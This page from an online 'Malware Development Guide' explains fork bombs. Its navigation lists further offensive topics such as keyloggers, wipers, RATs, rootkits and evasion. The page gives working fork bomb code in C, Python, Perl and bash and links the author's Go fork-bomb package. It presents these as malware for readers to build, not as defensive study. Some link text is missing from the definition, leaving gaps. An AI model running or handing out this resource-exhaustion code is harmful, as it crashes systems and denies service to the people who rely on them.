👾
Malware Development Guide
  • 🚀Introduction
  • 🐤Baby Steps
    • 📔Pre-requisite Knowledge
    • What is Malware?
    • Programming Guide
    • Vulnerability Analysis
  • 👾Basic Malware
    • Fork Bombs
    • Logical Bombs
    • Zip Bombs
    • Keyloggers
    • Wipers
    • ScreenJackers
    • Prependers and Postpenders
    • What's Next?
  • 💀Intermediate Malware
    • Browser Extensions
    • Worms
    • RATs
  • ☠️Advanced Malware
    • Botnets w/ C2 Servers
    • Rootkits and Bootkits
    • Polymorphic Malware
  • Appendix
    • Pivoting
      • Windows: Effing Drivers
      • Windows: Abusing LSASS
    • Elementary Concepts and Stuff
      • Memory Representation
      • Expressions
    • Being Stealthy
      • UAC Evasion
      • OPSEC
      • Code Obfuscation
      • Signing Code and Binary Properties
      • Punycodes
    • Backdoors
    • Windows Process Injection
    • SIM Swapping
    • Quishing
    • RunPE
    • Malware Packers
    • Learning Resources
  • Updates n Stuff
  • Scratchpad
Powered by GitBook
On this page
  1. Basic Malware

Fork Bombs

PreviousVulnerability AnalysisNextLogical Bombs

Last updated 1 year ago

Ok, so beginning with some basic malware... The simplest of all is a Fork Bomb. Wikipedia defines them as:

A fork bomb (also called rabbit virus or wabbit) is a wherein a continually replicates itself to deplete available system resources, slowing down or crashing the system due to .

Every process that runs on your computer requires some "computing power", and every computer has a limited amount of said computing power. So, if we make a program that consumes all of this computing power, we can essentially render the system (either temporarily or permanently) unusable. Now, there are a lot of ways to do this. But the core concept is that of forking a process. Which means that the process creates a copy of itself (often called the child).

Here are some examples of fork bombs implemented in different mediums/languages:

A fork bomb written in C:

#include <unistd.h>

int main() { 
    while(1) { fork(); }
}

A fork bomb written in python:

import os; 
while 1:
    os.fork()

A fork bomb written in perl:

fork while fork

A fork bomb written in bash:

!/bin/bash
./$0|./$0&     # $0 is the name of the shell script itself

In each example, the core concept is the same, the parent process creates a child process indefinitely.

If you wish to see an... overengineered example of a fork bomb, you can have a look at a package I wrote called GFB:

NOTE: The GFB package actually makes use of yet another package I wrote for a logic bomb, so if you wanna look into it, please do consider first reading up on Logical Bombs.

👾
denial-of-service attack
process
resource starvation
LogoGitHub - ARaChn3/gfb: A golang package implementing a forkbomb using cgo.GitHub
Docs:
https://pkg.go.dev/github.com/ARaChn3/gfb